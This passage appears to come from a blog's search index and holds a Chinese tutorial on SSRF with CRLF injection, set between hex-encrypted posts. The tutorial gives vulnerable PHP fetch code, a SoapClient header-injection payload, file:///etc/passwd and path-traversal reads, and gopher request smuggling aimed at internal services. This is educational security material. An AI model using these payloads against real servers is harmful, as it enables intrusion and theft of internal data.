168a5ad5486d082ec9091179530387f9476e833c66d721b4b7cdaf008a96ee48145f8b76ff25c7b7258972c4b535afc4c500626500e228ed7ffec2e26701118d33f5298f074bea081e715f56df62ee0541cb7e8c42d15f5e1d99b7b662ba51a4deed16da3720574e0db5fe110edd966c4687facf16876b1dc29e600403b73b5b2e7ae8263c3dc73990e287d9cc052ce97779a862891ad712adb879e4fbd3d9f8d919a4276b793203a33a29f6d82e33cfdfb0f94f2e55891dd1293526c3649dd1b7f42480f61fc46d5a162fd16319cacde841f06b3a82ca325c7b8dc8ba035c387850765c3b23c7b0d3fdb183f9a273d5f31780dd5c42726e2f6c0b795b1bebd59cc8a309f8c477102420307c575511c835050abc69254ed167fe9974c90811c5cd28eb8e0db31ce977adfbe786543b251a5ed87f96ba52c5363c73b1f64f7b84ffd15bd9d34618b5f887a644b3e053b076742ddba6d8d82baed3eda87e8d9e1f78757759c695a90dfdcb7ddb908fd1701d38b5739b2b635acca36bf447ee0b3c0484b0d47e7a47c6873fb0f212940fe876fc6ac0cc5fb1c18093dbf6421de023b46fea2b8746c561e62f0bfeecd698989d0824f95dfccb32d029c5a16a6e195200ec652641a7ce44e05129daace9fbba624b4f1b477729b4730ee122672db6ef6e8e663d634a2fde75b807ac918dcfb5c1e0efb0964ed33c92d43d43a5a89dce2f12f6e5a22d39a40f6bd41893f000e2d7ffa27937274fccd93dd3f38af8509502114936e6d1018d76969819f7d644606635edf47e04c9fa16192d64df156bc0a9645994a9de1e96733c7627902de666196dd9f26dc0e35a48427ac3eaa8f1bc284cdc91fde4f4d86cb14dfd94ae8ec170a4da3efa1107b5b25314b8948923982d250d5db4d0c238d1d817756c6011ee6122f4be57e90358444d441b60f4a8814735e969ebd64fcbea021c45cfbafc18318576cf3abf66e8858693a8d09639f363c07417ea56f70bcb843f1c4bfc7d41a25a1a14777fb0086aa49614b20dbeea013980c24085ef19ccca46d060a3bc8eefbaec9f4a5e002e8fb98671e5de8dfec0cc882631eec9fe57339dbddcc85fe7dad4b5e3c36e00b2679b60bc30f6265d3e6f02d6c7c1ce6de3fcfa019f36b0dbf784b5beeef240b08400d90b830269187b7c8fcab4b75181e9d6a67819807f9a6b62158628acf53f428b1a1817521bd4af243c3d0109bd3b45875ca9d5b3dac2d82a3567ccf4c10d961d26634ad4398b3fcd2cab30fbc33a223e024c99ad6b965bc7cf27467bda5f7d422769569014a69660833304e11ed735e1cf0394ea5f139ce1dd51e9414e234d836ed2877ab5a232a6a38a3760f56a36e8bdc64e03529d448efe19e86f4ff3674590e7fe087827c1f0ea8d26e7a6d1eaf05c6aac12a7763a6b08213d3d8e9e7fdf738e2084f6f2ccd0b0067d71b4426735e2ea75c129c0cc4076c7c5fe428342bca3cf1d8c15c8a957f191d64f63c6d5db7b4dd1f548e246f8edb2e412823cdd480f720ed6b4236e147a165e9c16cd4081a9230c8fd521991cd8334b75bf7d572447a65dc070853bdc055234c039c10e4d9196e9e457ec7132b56c24108936097e693f02d00386be99634b568cb43cf31756891b46a0719436d07cc150ca99030ce78ac3d1e03612f5ed6f15383cd58c1c4ddc430a962c113c1c6c346bfb5cf21c326b461667e938832e1d99cccc6221a4fe44292a60d6b5f675022c4753380ffca3a6d9a71efcb7dec270c52f9314df84808f88f983342727be8cfbb9a8d599218c0d837c27188ee99d39ef5bc84c284ad4b7b5024e80f31cfb1cddef55bf6067a2ff0bcdde58c12d14ef4494727d7288fd59cfa7896b8583839b5fc843435b0dd60ecd5fd193d5863818ac3e1d49b16e84526d6b4170f7fa38d5ea09284807c01a8f22f1efc84f61b3aeb554531b076e3d86e734b0a15266819092b60404cc83b023a605c21f2e5646181aa6bd11d3314d98b1098b7df69c93fef0b8916d477752383bdca08013c62e344796d93e9b7811580e66dfe61c892f2abe84b6ca69c53fba58ddb9184c5e94400b6d227d3fcc216ac57e6cacee4a4de57fc17902bff6fa5d5d502fbe9311478b6214556371329e2dbbf85de360a0585d3de2dbfa7583a03664d80156b2fc2d7009a0bd0f017f0e0c8f8bda5c24d1fb80fb494af72470e52ef96b01bce8d88f4b633e349b8bfbebdfc58b3fb3b80d99b8edbfed7fbf52a7cba029e6c4a210463370aa217348a0f4f325813fe9c92c4f36c1795253f9011e57b5b7ae4aa4d43c72964e5a4c374ea33125c4773091dcd5d51f14e99c6dbaa5eb60af6e8beaea291c3afacbd97c848ddc3e595e88b80a54266115a1e1dc3a8f3d66da1ef4ece73c78621d36b1cbd96dc7035a52173bcebc4a30c1488e78a7220301b4f272a2933e0af4e63bc82918689680b956846ab042c8dcce07fdd8b7a478e288bdbdf1a1833da1e8d73680fdb880c42b1d3bff87b8e2562b02c97dba747cfc6a4b50ead31f172dd749f865a186fe79b46761c5499c78023b351a94a14b23e984b79839ea7d6b3f89d6b8c5b34e16eb661292725d17a7104d76bd9d4da4fc76dd0dcd22130427af6662a541d2345b796cca9d24831442dca9b3aaf8226c41fd4a7a8bfd956704ab6a49244bad30c08e96f5391fe97c2b46c7905e90cc3934e073dc41ab62c3f2b7fa7adb0f0c9fc7d419d795a976baf9e4c3959528005010e654f6aec1300fb9a73b87fc427cdf3c6ad452ecb2ba486d036afe3272cabedc3ed7ca91408acfb722c344ed6dd8912506c1ed835677df903712a9f17b05a3ebd6f7cb7a3796fe331b040554a5a6c3b22e7b7b6917469f7220d098acff9d54587002b0a96dcafbcad8a7a8b6db040bd448ff9c6415e502d1e90d7fec563a149eaa5afaeaf6c9fadc38ab4daee2c7d406b582015402ac183f298dc3c924a8c29656f95e3d97cd76510dd830482e66710fd4f2abbdc91853de6292df993de574d3f4286e7d0b361e4d8987fa86c3136f43f1becd7a2339d8b9f306d4415f46e971233ccb76992ab5b842959f6e469d490a03a0daa5f2d429b38fa0ddd11c55dcc023220bb60e070616080844b60f12d745a9f9b0eddf2adc5d711201a28ab516ee86805be590309b01b17453daea5f61c32d66ae6a6f6e8877ca7199de745bfd9b5ffb548a6f5b0d1c857e2fb489beb6573d5df8b87d9f6f5e48f9a0ca5600e0fb47da78447d3cf419066fabc170663648af27725afe2851ad2cbc333e1b04a6661eeebc404e8ffef936a9e3dc008a891237e94631212fbc34c7ae311fdc6762448e109e87a713fa4b12a7be670f1f0ad5e124b8bf8120aec63a3b5391b7e9998f55bc959366ff05caffee6794155f20978976f44213903af425f7e1adfe120338dae92e26d07530c5bbddb32600639340b962979852ed13dffdccd3f0e40b253f50c6e73868c8aac03383cb1a4d0f07ea5371badc59f2cdf01c94a0ec2ea0a4dcbdfdb7ceae73226a7033f1fea63980000d2eb3dc68d2fc77045e9c2a5f0d235d236ccf4614d7384916c84dba5150bcab5204e6ef2cdbb7b9784d6703efd2276583f236a4aaaa517752576cef79a35985139da96fc83a8fec532c8e3b7a93a45e3b51030ec0b3962a2901d21b234931d8be13832e1dcd5262130cdab37605fb304cbe0160d77bfdef7301a96d37060b748339336c9de4ddeeb43c8caa41bc9131d2eec43d6fc62e8814f6aae1ab787b1cc7ad713ae13efc14ec7aa5d4f1a02e632c316b445d3f61738fa67e26a661603b9e4a84cc2693f42e0d1de3da814500d8c9e294c199ab9bc11d391adad19c8b621d6b3df5ac093086751a740c9729b2b5c3579596245b2e4b61812f2061045802547a10016a658a01c4132538b24e41b0b1a8c402e81e4f14f29d7becfc01cfba4994d4e6ddde1b3de99cf692ba68a30126cd726f7f48220f08c6906470f6a1f7ade3aa5ec6e574b6ae8a7b4e0c33f4831164524f9805dbebe316df777b292e7191e91fbadfe2f420cd5413cddf0f3c141d2e4ee9b92a11b26787d392b37c716859f24c35d26fc9198d9853fa20d188c0f939b3147aaae33bfa16405273a2dc8e4d1713428d5124ac123dea4687eb9969ad2b3f7c2f3f6bfb41fce873f459ce4157010b2f4987f8070f3f0284b857e6791b2256bc8b9d8db350b0cd47b472c2732a9b43866eddf8e74fd933f3809ffceb5b35a5a83b914e2e0b3f1b6a5765c93785b704fbf2f39927962cf3b6da7f529f72583359ed347c986c292088920808dc3c91f5f5dccaee01bfaefb019ab680c00566ef6248e877136e12641ad50b54ceeaa5384697fe35e4c3be2220a09ce142ed85f772bdf6b77a5d3a6e9308b60db1a9415c3757129563f8843ef89ed383ba68815639271d9f83662488530059eeaa59204558c2ef969ab89922cc0c03cc76860331dc449839070c04489339bc50f8c8fb1f1b7402e5000489649bc4ce28b41e31e253f2a94769dedd8bc9cc82d372aeaf9e28a13e8ce315dd17783e2aa1a81935c786f1dee9a1b9c5104ef73c157219b5731edfce7c8fe620838221ba0b3954cc2108a9e03254b3fb981a0b568c69b2b6e8379fe843b51f5504825e35140a75b86fd67f06af8db90395c19cbfc0767e8d2f29a747ebb37045b39f427d2bd51ccd7b138687d0c7c0848f27be4f4a968fd9ca0451b0852763eae87d984f0d7400fd0bf40ab9f19ec958525603eb070598e8f1e64a7d7eede39a4f49aff06e9257d160fdac4af88515abc23c1aff351f283113169b3b6e90fadfb7b9fdd9420950deb843edccee57669970e7e6ac91f95c762c3e31a96a08546721e2fab8717ebfb0bcb5e444bea91091a47ef82d71be9ef7a5b5255b5e80ff6ad2ee7c6a12b8d7eadb723a1c588e85186592fc671c4a3dc63b384d1dc00fa46f969279a2017d5ac885f61321001db43075552343f8ce39d1de9ceb29c8ec6a1f086d885e37b29d9d718cd7cf5548754c2f82569e5e0eff3ae2aca4c2bbbf8331e10c635f5c6eff206423c0454818ef745977d2e4c9fd34708196f71fc34073f03d8ae1c3424f023c039593a2e2741f8dca630aa6ad858e8fc9455c92089db2a8e5335a82e403f2a706d091a4470ccbc3df2d089f5f67051e1b13837187ab323f1be73681a963db39fd1ec235a3a1dc1f069804789373901600c22800a5bcb19e69d80b40cbdf0aba67be1270fd9ab87aac4a892842f1febdcafbfb81466dc79c99d91c92eb76e01480af89dd9c085688025741d02908c87e19303ae084c796c0acdb0d5a3625229f164a961adbf6925885fa5403ff8d24917f10ba4ee1ba60623937aadff3bb1486ed00c10c7799822bfe0a811c92bfae2e2c925072797e5255660641c68806af38691e58eee72eba8cf0ced0cda0be3befe1d51f6dab2dc81fe4b3b4689fe386d6b49e9af485e640b785c7f72ea792fc2b4f813b3244e3bfa6b2782b48e6c8f39a4509d8ecf75df4fa02a4c76b0cf819de16868d91a2157b06fc888223ffce590fd67ce650db2d0a5f484d0858b6e4e78f4b7afdc3cdd82b571bbeedbcd7f342088eeaca51bcd627dfe2b2279c878af162168810ddface8e2ca6c87bc997c0563711fac85ef5ea073db20378edf6895387e93e910372bb8d13c2ae336551ee74e2e53aadd53897bd511b82a38196319f1043f939061cd3c834611931848d6f64867e75adfc48a7c4b4383b960c8c3b1784d01a23aeb7531567645eb87a6ff934f8da9fe99397fdd5f0783432df28580bc9461ba474602bb9ddf7bf8293616c257e44ff87fa1b2ba8ba91fab4c5965fc9edb906b01a1fb825d1011fbf2f9810f466f55585a82dd218ce351edf74e2e32d71da6fc2ac8a51b48d6b6ad02cd2a8bff5e391ca92d2bcdfe61b48b190d5c6a74be5293893e21a1be2685089ae42ae603e2c20292a391cf0690605595a1ba5bc672aa7f814c087331c1def8fbcc0c80f3bbdad608f37263d65bb76f4326436d72ac2f1b4b56235157d37ffd2083ca60634a0f1f7d417a7ffd344d25c07611cab90ae2a1603ef68b7dad6479a12c0ad3ae8140cb4304a365e9069f3068e8250f762d5f12a1fc77fdaec3a7b2fafbb2f9f26e6f85e2d7290febea10c8939653660445e48c0a9c613e69708d3cb26ff0c16f66f3c87d319e52aac7752e7c21993b6fb037ce64e07e65203d771deabebc46388c3878c0779272339adb3e1f5e8968028541733e6956aee974da2ba2c424567db44264402cc4d6df3e588e32195f8b422900145522931b146d1028d4914d3b95ba541a8da98d27781aaddc65c121ea26a7ca46ed4560c13b95ed115895b10e1f514e379692bd40ac9fff12bd6429fd6e80a28f57cd562923bd54e62772816701c039b9429d4e761161155f98346a45a95c6ef20298015143d806f5c4c09a57cfb29b15d77f48b33add8ca8c3c0908946741502f69d22ac0170a440c4958e9df197175a132c0c7d0cb0ac78ff260f7950599fe4bbdc84eadc45890ec0526434cf1a9bea15c0eb1d52cfcbeb92fec799b4cb6d75d44ebdacde979179ec72eb0ab8ac73fc66addbc643f27b74b6175c611754cf502c0437f828d263e5abd05620e325060e875049a174ee8293a24eab946fa1a41b83b7d91f2e9b2db7c5b02536ad9d611f0c8363e2743afa2291035de8ebdb01d1873a6a79ea57b4d6d2648a9b0bb51acde7ea322ccb7ce72300b88b469975a8c3ab07adf94fad5d4fd325f8dcbb0294459bfac6f50d91f849f761a6da69662e6e73a8229a3e7aab90cc21066ab9026246e84ff085332c8e340b1ed45ec27dda73679358663555decb52802288311ef87bf4d05221067225987eb9871e75ad83dd8712f9d2c69c94005128fbf817f15a95589d16f04612aaa82a87b01e462e4b00553485fa10c76e6077610c5be54521dc551d060c1d776a8b70f2ba16cf1c06d19d1a61e83d09c2b4177f80b75d65f91aed36171a0ddd7d83e178af28b42e58f76b041e83ce50788edea9f52c1dff69dc30b498d3f4be977bf1990445890f4b61e9b345dfb1d5552d7a77ec92f76a065accca0af0d3a609d559c37187a7abec534f2986a1627c2fdaf44c706149032351480544cf1b9e01f1e54954b3e99d696e8b03d60218255cf02c4ff53f15f65a703a498b2f0332c518461c256417495ec7dc52e4febd8d24fc2c6a29c7a633de81862733cb12d0b9822de55a0d17e6db79d16134e8a83018b3ba9dc8a6f591efbf9aa22669ff905954139a1f95fd374f0c7584fb3df5e54f39899de00f5c8f98f0fbb1206232bf27d014c443cf90d7ea51864758c4cbd6f1ec643f328d5e9c59e3a935e1243a2349f054538db8801df3e0c9ded5e8963b4c50bef9332eb95cd93717097f021203532aa8f2e0a3c135c47383ebb664b44ff9bae80a82acf1f976260f93981d2994c09256332a99324cabee885251a15fd6c3bbe254bf73c873d3a3d72e9134e3fbd194b295eff4513b69fa046e28b272f432f2aaaf384d3c3aeb2c08ee04c09348cea6ea07198d3a7176bd0aaa8f658d758a2d1484725785f73026d38b534114004446c1268d3174954e8467c021ab341e843968fc24cf73e143e7e67900dc06c707c8f94cfea1f3b3aad7b383a39daee1ef2ae625ac2c487ca01d714c8059d9c81881401833af3b1a872b01e539b84ebd4e0dd3656b18df48d0abfda7dfc26406279296a7746a418b49e4da0607ecfb1c815f17ee519e2d82088751fd9ce51270f66c12127b416efdd5e61127b3fe8318affac97f8aa84e39da72f4ec460b5c0e39661d55f34ce1cdc4f6b8a8f359cd014ec604b55eeee13e3d07d563f104110140d39f79fefee9eb2501968f88fbfb9537014424ccfc26d5239913e8e92d126b6b3803a9711a9ea227bdb3691b0f80ace2ae7fca16f96aab70faf453d1e94f0e6aaf1703affc884da80efe33e32708afb6d29f5c98d1b28874dd153c9605b8ed50e5103fd155e5212523e1cfd3359a5be977455bf7f15a8f545812896d632d9c95b3436b49fe33b4e67975bdddf031d9f8f18e4a7ce29dbc78c565fd4abb61db81cbe737fdfdbc11009b8cd4130478771aa8b3f817967bad5b932da9dbe0c99ee81905c36c58324ca6b0284d757bd44df6b22f781ceffe243e421fa41b600c761b4b10891f60caf84792a679e838982111d2562c5fdcba75f017931da1ae747c8c20de44c7867e7e87ecd1f2315a5fa17490472e3d222d1860883772c91f00341c996a9604bf4341c8e64af31395993f8687ae2d9d988078f3720a8630938abcf7316db2db32cf1af2efd40ab8ba369e9f192944a714d4d7f2a6785fdb4379f9c1ec98102d1f0ebdb2e81d35fddef6b0509b6a21a2f70478f80dd08eafe2f5784bd470104da132a015b6a2c68fa20eb993d533ec4ed4eedfdee5decaf98dd429278b83640b73e564c48ef51f3be1571340e33d85aaef739555c7c933ae65703e7713b89a12deb983ba9923582cb98189bb158b6bb211ae267aa1b654ea1466607ae324f692f5f85cde19c8bb5ae5869314c4b832244771016491f40f026c1acd85c52a905a44850f2f732603cb482524a7364cec9713d69af7411c63b7b79b69a367a391a66c90fba457763a49628a39eaed085192db66230832ba1964479b4b178b55b206fa766558a72b457832df7d36738821c24a43e105a3a0ff45fb5a78c370bdc785aa0fe10f894705d367493d35223dafe312a139df1f87ffce1b0e1de20a76e84a078b89475ee08c3bff20966ddc60d4df9efdf57b128aed6be42b73af33c3b8e10d95a508ecd74f73c2c8407198c0f6068692d7c34966d6302ba52f4fa17154c518499ac19ad5a0e5e1b6d0085e84a0004af84d79dc5145ff299b5ecd5970003256414fe32556bd0bc614deb5befb72b4cdc2199f4619e9c3d79ab64ef63292b57f80684730c7ad1aee1a47db3b87958e658bd039eff09fc7715b303e91083cc7be003631dc4a7dfc13e4e00e6baf585c779b74ee90d64941fe5bf5e85af11ff9a4e3a9b45ea3dd9673cd593b6e87fdab42b0297d0a94e602bb139eb54269b8d0221b67b20ef99812f8db469d6bd0a5a374421e9b721ecb75ddb646cd182dee610028c76774e712d5a2334444ea6c2ecf058c40d77efb6e1e90f7c02fdc14df0c846a485b5b6002df117c3db4cf6b451cfa88b31f794339110d5b013daf8490f0b8d2b780d8ca74f970fcc64052fd19ebe3d56870423ea4937bc326c9df3013a18bd1d214868febaeccc162ab147a8a57787a06b033df6a9ff5a503e0373c4c38cd7ff7ad08a0c4af880190ec71e802f8cbf33319d618f03129f62d0060ef540291758ef1b976b8d4444f2b0d913ae497018707c99e04b8254f3b3e9c3bcb389b1fea4b52b49a463b08e6e3a79cd20410a2bae2fa73917a0a2b528c553dbf46b8c3565e30a83a3140e8790bce3e870d96f92b9fcde2513e28533723ed8f6d025d11a9acb184b88dea6a280bde45d21d7e690b10b9320771df6e8e87fa62e3da9a9b4bf3f54239b363ef6a017ddeb8793d9b0f2ed14d452ee8abcdf549ab6cd7b62041ed8507071ed2255dbde3f753a90528fee6b075dc7da876a52d71499d2f85b7f3ceb02b2b791a6822fd45911d00b4e826040be7fe3878517e685a397f8356d3624603ebe0e69c14ea29508380baebbd2fa895842b669f346e715fe3de55c904 emmmmmm","link":"/2023/02/15/%E6%9F%90%E6%B8%B8%E7%A7%81%E6%9C%8D%E5%8E%9F%E7%90%86%E4%BB%A5%E5%8F%8A%E8%BF%87%E9%AA%8C%E8%AF%81/"},{"title":"CRLF + SSRF","text":"什么是SSRFSSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成并由服务端发起恶意请求的一个安全漏洞。正是因为恶意请求由服务端发起,而服务端能够请求到与自身相连而与外网隔绝的内部网络系统,所以一般情况下,SSRF的攻击目标是攻击者无法直接访问的内网系统。 SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能而没有对目标地址做过滤和限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等,利用的就是服务端请求伪造,SSRF漏洞可以利用存在缺陷的WEB应用作为代理攻击远程和本地的服务器。 一些前置知识HTTP协议在这里,给大家简单的介绍一下我们是怎么通过浏览器上网的 IP和我们购物时候必须填写地址一样,在网络空间中我们也必须有一个属于自己的地址,而这个地址便是IP地址 IP地址有两大类,是IPv4和IPv6 123114.114.114.114 //ipv42001:0000:0000:0000:0000:25de:0000:cafe //ipv6 v4所有地址已经被分配完毕,所以 有了ipv6这个东西。 又因为ipv6很长,看起来不太美观,于是有了更简洁的写法 每项数字前导的0可以省略,省略后前导数字仍是0则继续,例如下组IPv6是等价的。 2001:0db8:02de:0000:0000:0000:0000:0e13 2001:db8:2de:0000:0000:0000:0000:e13 2001:db8:2de:000:000:000:000:e13 2001:db8:2de:00:00:00:00:e13 2001:db8:2de:0:0:0:0:e13 可以用双冒号“::”表示一组0或多组连续的0,但只能出现一次: 如果四组数字都是零,可以被省略。遵照以上省略规则,下面这两组IPv6都是相等的。 2001:db8:2de:0:0:0:0:e13 2001:db8:2de::e13 2001:0db8:0000:0000:0000:0000:1428:57ab 2001:0db8:0000:0000:0000::1428:57ab 2001:0db8:0:0:0:0:1428:57ab 2001:0db8:0::0:1428:57ab 2001:0db8::1428:57ab 2001::25de::cade 是非法的,因为双冒号出现了两次。它有可能是下种情形之一,造成无法推断。 2001:0000:0000:0000:0000:25de:0000:cade 2001:0000:0000:0000:25de:0000:0000:cade 2001:0000:0000:25de:0000:0000:0000:cade 2001:0000:25de:0000:0000:0000:0000:cade 如果这个地址实际上是IPv4的地址,后32位可以用10进制数表示;因此::ffff:192.168.89.9 相等于::ffff:c0a8:5909。 Hosts文件Hosts文件是一个没有扩展名的操作系统文件,以表的形式存储了主机名和IP地址的映射关系Hosts又称host table,译为“主机表” 12345678910111213141516171819202122232425262728293031# Copyright (c) 1993-2009 Microsoft Corp.## This is a sample HOSTS file used by Microsoft TCP/IP for Windows.## This file contains the mappings of IP addresses to host names. Each# entry should be kept on an individual line. The IP address should# be placed in the first column followed by the corresponding host name.# The IP address and the host name should be separated by at least one# space.## Additionally, comments (such as these) may be inserted on individual# lines or following the machine name denoted by a '#' symbol.## For example:## 102.54.94.97 rhino.acme.com # source server# 38.25.63.10 x.acme.com # x client host# localhost name resolution is handled within DNS itself.# 127.0.0.1 localhost# ::1 localhost219.217.199.8 earth.local terratest.earth.local10.110.110.250 vpn.misakanetworks.cf# Added by Docker Desktop192.168.1.8 host.docker.internal192.168.1.8 gateway.docker.internal# To allow the same kube context to work on the host and the container:127.0.0.1 kubernetes.docker.internal# End of section127.0.0.1 activate.navicat.com 我们可以手动给一个Ip取一个好听的名字然后用这个名字访问,只需要按照host文件的格式在下面添加就行了 DNS使用host是无法记住所有ip的,数据量太大了,而且日常上网也并不需要记住所有的ip,DNS就这样诞生了… 域名系统(英语:Domain Name System,缩写:DNS) 它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用TCP和UDP端口53 HTTP协议HTTP请求结构 HTTP请求报文由3部分组成(请求行+请求头部+请求正文) 请求行 请求行: 是由 请求字段、URL字段、HTTP协议版本字段 三个字段组成,他们用空格分隔,例如:GET/material/index HTTP/1.1\\r\\n根据HTTP标准,HTTP请求可以使用多种请求方法 HTTP1.0定义了三种请求方法:GET,POST,HEAD方法。HTTP1.1新增了五种请求方法:OPTIONS,PUT,DELETE,TRACE,CONNECT方法 请求头部 请求头部: HTTP客户程序(例如浏览器),向服务器发送请求的时候必须指明请求类型(一般是GET或者 POST),如有必要,客户程序还可以选择发送其他的请求头。大多数请求头并不是必需的,但Content-Length除外,对于POST请求来说 Content-Length必须出现 请求报头通知服务器关于客户端求求的信息,典型的请求头有: 空行 他的作用是告诉服务器 请求头部信息到此为止 请求正文 若方法是 GET,则该项为空。(数据都在url 地址栏里面) 若方法是 post 字段,则通常放置的是要 提交的数据 HTTP响应结构: HTTP的响应报文是由( 状态行、响应头部、响应正文) 三部分组成 响应行 响应行: 描述了响应的状态,一般由协议版本、状态码及其描述组成 比如 HTTP/1.1200OK\\r\\n,其中协议版本HTTP/1.1或者HTTP/1.0,200就是它的状态码,OK则为它的描述。 五种可能的取值: 常见状态码: 响应头部 响应头部: 用于描述服务器的基本信息,以及数据的描述,服务器通过这些数据的描述信息,可以通知客户端如何处理等一会儿它回送的数据。 响应体 响应体就是响应的消息体,它包含了响应的内容。它可以包含HTML代码,图片,等等。主体是由传输在HTTP消息中紧跟在头部后面的数据字节组成的。 SSRF中的常用协议HTTP协议curl_exec()curl_init(url)函数初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。 123456789<?php $url=$_POST['url']; $ch=curl_init($url); //创造一个curl资源curl_setopt($ch, CURLOPT_HEADER, 0); //设置url和相应的选项curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); // 抓取url并将其传递给浏览器curl_close($ch); //关闭curl资源echo ($result); ?> fsockopen()fsockopen($hostname,$port,$errno,$errstr,$timeout)用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。 fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。 12345678910111213141516<?php$host=$_GET['url'];$fp = fsockopen($host, 80, $errno, $errstr, 30);if (!$fp) { echo "$errstr ($errno)<br />\\n";} else { $out = "GET / HTTP/1.1\\r\\n"; $out .= "Host: $host\\r\\n"; $out .= "Connection: Close\\r\\n\\r\\n"; fwrite($fp, $out); while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp);}?> 可以看到,这个协议是一个比较底层的协议,从TCP手动构造一个http的请求,在这里出现了\\r\\n,这代表什么呢? CRLF和LFCR(回车\\r),LF(换行\\n)。 CR和LF是缩写,其实他们的全称分别是:”Carriage-Return”和”Line-Feed”。追本溯源的说,CR(Carriage-Return)和LF(Line-Feed)这两个词来源于打字机的发明和使用。 在很久以前的机械打字机时代,CR和LF分别具有不同的作用:LF会将打印纸张上移一行位置,但是保持当前打字的水平位置不变;CR则会将“Carriage”(打字机上的滚动托架)滚回到打印纸张的最左侧,但是保持当前打字的垂直位置不变,即还是在同一行。 当CR和LF组合使用时,则会将打印纸张上移一行,且下一个打字位置将回到该行的最左侧,也就是我们今天所理解的换行操作。 虽然现在机械打字机渐渐地退出了历史舞台。但是回车换行在计算机操作系统中确实必要的,而在计算机中回车换行实则为同样的结果,不再像打字机那样了,计算机的回车换行都是切换到下一行的行首位置了。在操作系统出现的年代,一些操作系统的设计者决定采用单个字符来表示换行符(也许是受限于内存和软盘空间的不足),如Unix的LF、MacIntosh的CR;但是想windows则是使用两个字符表示。他们的意图都是为了进行换行操作,只是当初并没有一个国际标准,所以才有这样字符上的不同。 在http中,则是用\\r\\n来表示换行 SoapClientSOAP是简单对象访问协议,简单对象访问协议(Simple Object Access Protocol)是一种轻量的、简单的、基于 XML 的协议,它被设计成在 WEB 上交换结构化的和固化的信息。PHP 的 SoapClient 就是可以基于SOAP协议可专门用来访问 WEB 服务的 PHP 客户端。 这里有个Trick: 正常情况下的SoapClient类,调用一个不存在的函数,会去调用__call方法 123456<?php$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:5555/path'));$b = serialize($a);echo $b;$c = unserialize($b);$c->not_exists_function(); 基于刚才讲到的CRLF,则可以做到手动构造任意请求, 12345678<?php$target = "http://127.0.0.1:9999/flag.php";$attack = new SoapClient(null,array('location' => $target, 'user_agent' => "byc\\r\\nCookie: PHPSESSID=g6ooseaeo905j0q4b9qqn2n471\\r\\n", 'uri' => "123"));$payload -> not_exists_function();?> File协议file协议其实类似于任意文件读取,比如file:///etc/passwd 还是刚才那段代码 123456789<?php $url=$_POST['url']; $ch=curl_init($url); //创造一个curl资源curl_setopt($ch, CURLOPT_HEADER, 0); //设置url和相应的选项curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); // 抓取url并将其传递给浏览器curl_close($ch); //关闭curl资源echo ($result); ?> file_get_contents() & readfile()1234<?php$url = $_GET['url'];echo file_get_contents($url);?> file_get_contents() 函数将整个文件或一个url所指向的文件读入一个字符串中,并展示给用户,我们可以传入一个url连接访问,也可以构造类似?url=../../../../../etc/passwd的paylaod即可读取服务器本地的任意文件 gophergopher协议是一个古老且强大的协议,可以理解为是http协议的前身,他可以实现多个数据包整合发送。通过gopher协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。 很多时候在SSRF下,我们无法通过HTTP协议来传递POST数据,这时候就需要用到gopher协议来发起POST请求了。 gopher的协议格式如下: 123gopher://<host>:<port>/<gopher-path>_<TCP数据流><port>默认为70发起多条请求每条要用回车换行去隔开使用%0d%0a隔开,如果多个参数,参数之间的&也需要进行URL编码 看起来有点像阉割版的nc,不过gopher会把传入的第一个字符给吞掉了,左边传入的是123456789,右边接收到的则是23456789 在知道以上特性之后,便可以利用gopher协议来构造任意http请求了 比如: 123GET /ssrf.php HTTP/1.1\\r\\nHost: 127.0.0.1\\r\\n\\r\\n 将其url编码一下 1%47%45%54%20%2f%73%73%72%66%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%0d%0a","link":"/2023/02/16/SSRF&CRLF/"},{"title":"pybofuscate反混淆","text":"ea5b06941157b74a1f44e9fddf16effe9a588eeee352cea32693185c06a2adc0650b26c44b930d62e7a28b671dbdb91ab13f3e5c3960906487b7a6798e1ae304fe230679459d643397b637dd0798106e30f76337cbe426e0b34d82bb6c7be43a2ac9068596721fc77b18b109e83f26fac0c78505a359f63bf8ea78077c8845a8367481c59f9271d3d62bfd411f7266b3549b2cf884d8376a786c07d2465cde739f2205697b901ffcb6c26f0c696e2d5c3b88b06c8e71db78a467dcddf41a84d6c244cc19cebc08cc19ba6690fd933e50409b4ad68eb865b7bcbca9b6f040450b37c81851eb74dbf3de9648a42a7a23b63c8d05c422c54d47f1b01c7104521732f642b5d5e01b16596347dcdacd3ba15c5c8757b7acbc1d10ab24be0132d06cd4048f0faf3a819e0e3131107d6be1dc3f9a70349405857b2547da633c64314fde88248406b5f1b6a597e70a8d87bb5ab44e21af824ff2ee97ad029a8eeb9aeeb849a47453aba31fa7a2cedd1d89e74cfa452a9edb332e6f4fcfa82ae2fddc9100cb1490f85f559f876c135eabcdc56af33b3298b8545fe751e0153785355ab72ff5a17762e1437014649297d74a380c4fa4e60660feed347278afede60ce4f77a144e3c39d0ea7d7b47d0509dc383d5cdc4a7c98ded0721a495b01e44661717f595c611b086e3ddd54a28bc61a38fc49b3cc8ecee3849fb7c7895bce82dc4feb310ccd6537d8360c2001c50845fd2cb658a4d334a84a7891d7299386506ffd9911ee1cae76bda98074a29c80bad751c428973060ef52ef29e2ecf5b185aaefe73778a01399afdfeb8699e76ff6960ab1046ef857be2916b0412252dada5bf192f22541130f51c5542c9fa47f673be9388a02492825a4d209de078e33b1398dae9a9964b59b983f1f4b524d2a3c9281be418bd8eaff709c7cea37bafc01e8604bb1c7cd7fc2b230d1ecae89dee921fc7b249b7c082988a3b552a41838b5714650a